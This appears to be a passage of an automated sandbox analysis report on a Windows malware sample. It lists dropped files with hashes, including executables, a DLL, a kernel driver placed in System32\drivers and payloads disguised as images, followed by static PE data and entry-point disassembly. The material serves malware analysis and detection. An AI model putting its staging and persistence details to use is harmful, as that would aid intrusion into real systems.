Preview:	.V.Wf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW11111111111111111111.BTE5k1=I=======.NXI9g%&A&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GBl(2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%MQQU&ozzHH..9xddI..I!('.TFA[u:72KG\Q".2>S.xq<\D@n0'''''''''''''''''''''''''''''OSSW$mxxJJ..;zffK..K#%,VDCYw850IE^S }0<Q.zs>^FAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&....&&&&....&&&&....&&&9\A\999999999999999999999M[ZV$3e.-goooooooooooooooooooooooooooooooooooooo...A23"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45(-^.[N6><!K!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\i[1].dat

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.275203330875829
Encrypted:	false
SSDEEP:	6:WSku4rj7zd3kiaqK+CrCa2BIDRD/COkngwAqwVLEFG7OdUzW9E40/qcX:Yrrj7ZUiaVMBIDRlqkEFggUzWg3
MD5:	7E4165B1411CF0914B7DB88CBD5C6A68
SHA1:	B6BAA59BE8644C12B1926B42B8701CCF321CAECE
SHA-256:	E0F4DABA7B631080FCAB4682C2A2EA64CCE957C08B32683E5F03E0515B4576E0
SHA-512:	5EA8834BDD607A75B0887D38058F20D50E96A01ED68EFA1632A9C77F2686834CF333DCF10138827847E3BD39D174F5DD4B0C2FE335AB4D6886A6AD1393EE0A00
Malicious:	false
Preview:	....l%00]CT.rp/n..C.c oh....a(gj....gwg..H.(ao`````````````````````````````````....c??RL[.}. a..L.l/`g....n'he....hx%h..G.$mclllllllllllllllllllllllllllllllll....o&33^@W.qs,m..@.`#lk....b+di....dt)d..K.)`naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....b+>>SMZ.\|~!`..M.m.af....o&id....iy$i..F.#jdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk....~ss1TIT1111111111111111111111111111111111111GBT]2:s9UU99999999999999999999999999999999999999nVK]-<9.rwo~.P..................................QoQl ...6\|ylllllllllllllllllllllllllllllllllllll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\FOM-50[1].jpg

Download File

Process:	C:\Users\user\Documents\EMp3o1.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	55085
Entropy (8bit):	7.99273647746538
Encrypted:	true
SSDEEP:	1536:puwkqL5y4p4KnRWlENc3PGdLLv/PJctIJPc+pifyC:kQM4+B/MLL/PmaG
MD5:	DC44AE348E6A74B3A74871020FDFAC74
SHA1:	B223020A5F82FF15FD5E4930477F38F34C9CB919
SHA-256:	48F258037BE0FFE663DA3BCD47DBA22094CC31940083D9E18A71882BDC1ECDB8
SHA-512:	5FB13A8CE2206119C76325504DEF61D4277A73D71D79157AE564F326D6FC18080218633CE7C708F31A81D6CD1A5AD8A903CFE1CC0C57183B4809A9C12E32A429
Malicious:	false
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~..a.....=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a[1].gif

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	135589
Entropy (8bit):	7.995304392539578
Encrypted:	true
SSDEEP:	3072:CQFCJFvegK8iS+UKaskx87eJd0Cn/zUR7Tq:CKwvehSbsY8anIde
MD5:	0DDD3F02B74B01D739C45956D8FD12B7
SHA1:	561836F6228E24180238DF9456707A2443C5795C
SHA-256:	2D3C7FBB4FBA459808F20FDC293CDC09951110302111526BC467F84A6F82F8F6
SHA-512:	0D6A7700FA1B8600CAE7163EFFCD35F97B73018ECB9A17821A690C179155199689D899F8DCAD9774F486C9F28F4D127BFCA47E6D88CC72FB2CDA32F7F3D90238
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\s[1].dat

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	data
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	7.711658199738615
Encrypted:	false
SSDEEP:	384:9aegCRh1vC6FvsdvaUv2rywX0IK+H8Ku7jVolZ7XRJsKYkGDfRRX5qSgUWCHopQE:x5F1FUdy422IK+gAZt2i0YPpQn4GMX
MD5:	85C558B2E6A863EF997650572603558A
SHA1:	EC165983E730584D0B4860A0BFCDF0DB4396688E
SHA-256:	A453D09D27EED18200EBA7972BA7093C8D4911462C2AF0ABF74E800781857F98
SHA-512:	80BE2FDF1F08FECAE6DD51069B878EC82AA5A8C819415DB7E780293EDD5091F25F2B2955AC5D74B1775B0603690BDC799B8F7C4768BD2C487DAD103F5D94FB39
Malicious:	false
Preview:	..(.........GG..............................................P..........{Z.z7..c_6,./]@H]<0}>_PPQ%q34.FAZz34z>5)Z75>?.225.5555555..G\.@f.z\.@f.{\.@f...\.@f...\.@f...\.@f...\.@f...\.@f...\.@f4......4444444444444444444444444dq44P.<4.g.bbbbbbbbb.b@bi`kbbXbbbpbbbbbb..bbbrbbbbcbbbbbbrbbb`bbdbcbdbcbdbcbbbbbb.bbbfbb.icbcbbbbbfbbbbbbrbbbbbbbbrbbbbbbrbbbbbbbbbbrbbbbbbbbbbbr.bbJbbbb.bb.abbb.bb.cbbb2bb.\|bbb.bb&bbb.#bb~bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"bb.cbbbbbbbbbbbbbbbbbbbbbbbbbbL...n....6.......4..................:..r\...gr.......S.......!..............S..[u?:/N////-///.///-///.//////////////o//......"............................................................................?.........................]s/./L///.,///.///+///e//////////////o//mC...nb...............O..............A..CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\FOM-52[1].jpg

Download File

Process:	C:\Users\user\Documents\EMp3o1.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5062442
Entropy (8bit):	7.999518892518095
Encrypted:	true
SSDEEP:	98304:GIusCrIENkeXPV97kqmCf4P48E37aREUXr7VYyUOhez2IlpmURniNmJ:Xngv7NmCAPLTREQVb8/RomJ
MD5:	70C21DA900796B279A09040B00953E40
SHA1:	7CD3690B1FDDE033CD47E657FC4FC3A423DF716F
SHA-256:	901330243EF0F7F0AAE4F610693DA751873E5B632E5F39B98E3DB64859D78CBC
SHA-512:	851F4ED843F5D47C93D6C5A7D1895A674B6448631B567A0CCB2DF5873E4A5E722F28ECFC4D0D3220A86309481F9793FCDDA4F89BD993FB79CD09DBED29423752
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\c[1].gif

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10681
Entropy (8bit):	7.866148090449211
Encrypted:	false
SSDEEP:	192:fN3El4oBtN9pmD65VoeotpeGy/nmgVtKFbM/PvMZ5ZWtZl4EehHGXI9Fch5:fN3E7NW27oJWJ+M/8ZCDuEe2I9FS5
MD5:	10A818386411EE834D99AE6B7B68BE71
SHA1:	27644B42B02F00E772DCCB8D3E5C6976C4A02386
SHA-256:	7545AC54F4BDFE8A9A271D30A233F8717CA692A6797CA775DE1B7D3EAAB1E066
SHA-512:	BDC5F1C9A78CA677D8B7AFA2C2F0DE95337C5850F794B66D42CAE6641EF1F8D24D0F0E98D295F35E71EBE60760AD17DA1F682472D7E4F61613441119484EFB8F
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\drops[1].jpg

Download File

Process:	C:\Users\user\Documents\EMp3o1.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37274
Entropy (8bit):	7.991781062764932
Encrypted:	true
SSDEEP:	768:6uBASoT9gu8yCOpS/DCNuoaa7SOjrX+ACdA7EtGKDRklnvga371DNpnN7s:fGSfyxENa7ZCRtxylnvgAVNI
MD5:	6D4DEB9526F3973DE0F9DCE9392F8EA7
SHA1:	520128FB9BAB7064BEA992E4427B924073E58C0E
SHA-256:	B415D73DC6CBEEE59736ADD1AF397B6982BDB2B3A9E994797EE6AF5979E58FD1
SHA-512:	F07E0DAEEE5C54BC8DB462630F46A339D9ED0AF346BAB113B4EC7FD2BC463AFC04CBD0FDFC8D9F54528B7127AA7735575A255B85F2D0B3CCD518FC5DC39BA447
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\Documents\EMp3o1.exe

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133136
Entropy (8bit):	6.350273548571922
Encrypted:	false
SSDEEP:	3072:NtmH5WKiSogv0HSCcTwk7ZaxbXq+d1ftrt+armpQowbFqD:NYZEHG0yfTPFas+dZZrL9MD
MD5:	D3709B25AFD8AC9B63CBD4E1E1D962B9
SHA1:	6281A108C7077B198241159C632749EEC5E0ECA8
SHA-256:	D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948
SHA-512:	625F46D37BCA0F2505F46D64E7706C27D6448B213FE8D675AD6DF1D994A87E9CEECD7FB0DEFF35FDDD87805074E3920444700F70B943FAB819770D66D9E6B7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.E.7w+.7w+.7w+...V.?w+...E..w+...F.Qw+...P.5w+.>...>w+.7w..w+...Y.>w+...W.6w+...S.6w+.Rich7w+.........PE..d...Kd.]..........#................P].........@............................................................................................,...x...............,........H...........D...............................................@..@............................text...)......................... ..`.rdata..x_...@...`..................@..@.data....:..........................@....pdata..,...........................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\MsMpList.dat

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3889557
Entropy (8bit):	7.999938755105324
Encrypted:	true
SSDEEP:	98304:WAnkiLOZS/hpXbdHpPcG59BO8NQXIeXXv5L4f2fN3yQWF+A:1ndLOZS/DtpPJRO8OHBL4f2UQI+A
MD5:	9332C4190037A0299311D62BFD631BD8
SHA1:	C4C3BEFA07BFD1DBE686D83F70DE6B60CA4171E6
SHA-256:	F83D586B97C4FE9D93D70D5C768B3787C24336CAA4D0BF816F5AB51118622452
SHA-512:	C92A0AF3CEF4E905658FA64A85651DC592955402DEDFA03B70F39EA11BFE907F52DE195B06CD017C3EC780642CF18391CA0A837A818BE2279CCBA247B24CEC5C
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\Documents\WordpadFilter.db

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	7.9789770028772695
Encrypted:	false
SSDEEP:	192:eBue6hKvTlByz2GqpoPTgyXrByFCt4lXp9tyey2Q0l:eBuNhyTlBU2dp+1XrBuCgp9vU0l
MD5:	A6058655E8AECC6096071B777FAC991C
SHA1:	C5CBC0932FFED34AC37101FB3362EBB6E5270D40
SHA-256:	D7E023FA2024919B641FDC5C3EA78D25C22A25BE44775CDC27DFC305ECC04D49
SHA-512:	6A31FB685BBA3B576CDE8C18DC8C14F7A8B8C80585B0543B7AED6D76CFBC923F7D31487F37578AE4F58AC197824F512FB9B96D06B8CC3F04E4BDA3F3C0F2170B
Malicious:	false
Preview:	GIF89a.......,.E.........;.;G_fx5.#DV..g..}A/...l=.2......'o...!.....e.,t..o8.^...B^x..6IX.DC.Oa..../_...n$_.y..+jb..r...Y4/Rv.....(;....$...g..........~.IN ...-<R7....eZ..q4.....~...}....~t<......\|}....x.)U3.`U..s....W..WY..w+o-[..{..l..i`.:.......L'.>...$. .a.x.2#y_(9....d,....=n...%...c.........dq.nfLI....!1..2...`.,...~....)w.5E 1.V...0."...cu...p........^\|@.-w..+...M.(.GK.y}.N.........}.....-..e.......X...GE.\|.-._..*.M.....Mc........9/..fQ.Z.....W.....s...........k?C.q.u.-...Q..."..kt..A..128.......7#...~....1.`..:C.(.C.<y.(..<..'..+.!&.....r..I.....d...W.....-.'.Ec`Nv.8).....!....?.....\..N.3..D...U.....(..#sdY..D"...p.>.W.Q...}.. ..2.A('Q\_y...\|..Az..JO.B.A..Q05.)..Q..zd..V..l......S.....dS.x....z^..z...).a.....4.G..........M.,..a..U...\....G...$...Q.7...@.x...x.s..R..0.-3...).x.D..f.I..n.....}..{.p.q.%,.lF.f.Up..UM..Y..1............R.....F.._....Y..u...e^.c...f.'..U.W1g..e#J...Z.W.....w.[...........R.?.m......"@.f..V..fxI

C:\Users\user\Documents\vselog.dll

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.002045097872406
Encrypted:	false
SSDEEP:	1536:Jd4E7qItA4nbQ0R3rh4Q8/0fp0uQ4S8S7YDLbnTPtrTzvesW7dj9dl4Cp52F4:Jf7qG3Gyp0p4ZmGLbTPJT7y7aCp5g4
MD5:	EF516B8A7AF8FC9595B248AC41462601
SHA1:	4EA9886DF455BBF89091EED4F7C8077A97933ADA
SHA-256:	751473DCC40ED147B0DDAE64773D40C404222740445B99CEE0A61B1D12E58BCB
SHA-512:	B438A4B4FCE58631D163CFEBDB4C7B477B5D67974D00E9356A72C3B65082A1A38077FA79A92E338803B09ACDA108729342CE5D15D0738B30845CA14FAC082929
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... .E .E .Ek..D%.Ek..D..Ek..D*.E0N.D).E0N.D..E0N.D..Ek..D#.E .EB.EhO.D!.EhO.D!.EhOHE!.E . E!.EhO.D!.ERich .E........PE..d....w.g.........." ...).....................................................0............`.........................................`...........(.......H.................... ..x... ...8...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.rsrc...H...........................@..@.reloc..x.... ......................@..B........................................................................................................................................................................................................................................

C:\Windows\System32\drivers\189atohci.sys

Download File

Process:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	6.229053474404253
Encrypted:	false
SSDEEP:	384:A3YUY30d1Kgf4AtcTmwZ/22a97C5ohYh3IB96Oys2+l0skiM0HMFrba8no0ceD/X:AOUkgfdZ9pRyv+uPzCMHo3q4tDgh1
MD5:	0018003D4C69C74EEE669F567FACFA97
SHA1:	53124F2FCF1C866C395D94D8885B997B561B59D4
SHA-256:	D2B1E51EAF700909DF86108F021961970EC24721B66D3248F64BE7F15FC9482F
SHA-512:	E1721A1615C0FCCE43C1D0060B303949EDCA0D69C58B6EAE53D23AF719B75FD0DA563931E3C8F0BD1154083F5B0A0778FB17CAAE0A5AC7594CB272BAABD5EB97
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ri...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:Rich...:........................PE..d....S.V.........."......:..........l...........................................................................................................(............`.......P..p.......D....A...............................................@...............................text....,.......................... ..h.rdata.......@.......2..............@..H.data........P.......:..............@....pdata.......`.......<..............@..HPAGE....l....p.......>.............. ..`INIT.................@.............. ....rsrc................J..............@..B.reloc...............N..............@..B........................................................................................................................................................................................

C:\xxxx.ini

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Program Files (x86)\G5CQjd\G5CQjd.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.436705481812323
Encrypted:	false
SSDEEP:	3:ri9H5tH//lll1siQg4d1ywsiQI5kZt8jtl/zi8tkHsl/3lP92lbrisZ4mAUWKzn4:ri9HHTwPYtyjtOsV39YBPZaoi59H
MD5:	2810F447F8CD90B97FD51CCE5BBD148D
SHA1:	356D1C372F7A30EC3DE4443953E948A517FC92A9
SHA-256:	89926CEA5BE1372827F355110418CE17EF54ECDEC8979154B0A3DB5C6C5E5714
SHA-512:	8A8F93BFF7D58698FDDE4394A44C90C2B2F7C94D677A295A79BEE7C33ED3F8589582FF55327FE4942927BA21E827235D4A7628BA641C24C9A79AD81D226B9569
Malicious:	false
Preview:	..........<.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......,..l..@E....................NTLMSSP.............3.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ..........2.5....>.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	0.08017653910042216
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2b687482300.6345827638.08.exe
File size:	30'883'840 bytes
MD5:	934c8c307939cd29f7d1d434f1ad09ef
SHA1:	452e15ee56888ad6424a15efc523dfc8137516b0
SHA256:	3fdcdf14ff5cb781cda7b1920d229ee59b3684b1d9b1ef939d0549ae0f8815be
SHA512:	c20efecf3985c68ce13e4a0d55a8be54f8e0df3de98fd5eef69e733513ba70dbc33eded5fa645213baf5195c3ad0961486d1d171726736036032ae4cc9c694f1
SSDEEP:	3072:oz1SlI+SwI3HOOp1I2nb5ZuJrSyUQZYX+70ZUoo/YhHTZtgXbPx:Ikx1I3uOb5fYFAZUoo/UzgX
TLSH:	FC678D1BA3E434E9E0BA4635C9921A16A772B83157309B6F03B0564EDF336C1DD3AF25
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.0...c...c...c..0c...c..2c...c..3c...c.e.b...c.e.b...c.e.b...c.uBc...c.uRc...c...c4..c.d.b...c.d>c...c..Vc...c.d.b...cRich...

File Icon


Icon Hash:	57171d4de7912e31

Static PE Info

General

Entrypoint:	0x140005590
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E5AF10 [Sat Sep 14 15:43:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	f61665c78859eaa1c3d43a70d740946a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF9B8B3FF80h
dec eax
add esp, 28h
jmp 00007FF9B8B3B62Fh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0000AEC1h]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007FF9B8B40799h
dec eax
lea eax, dword ptr [0000AED1h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0000AEC8h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [0000AEADh]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0000AE61h]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007FF9B8B40739h
dec eax
lea eax, dword ptr [0000AE99h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0000AE90h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00000075h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19114	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d76000	0x26f0	.rsrc
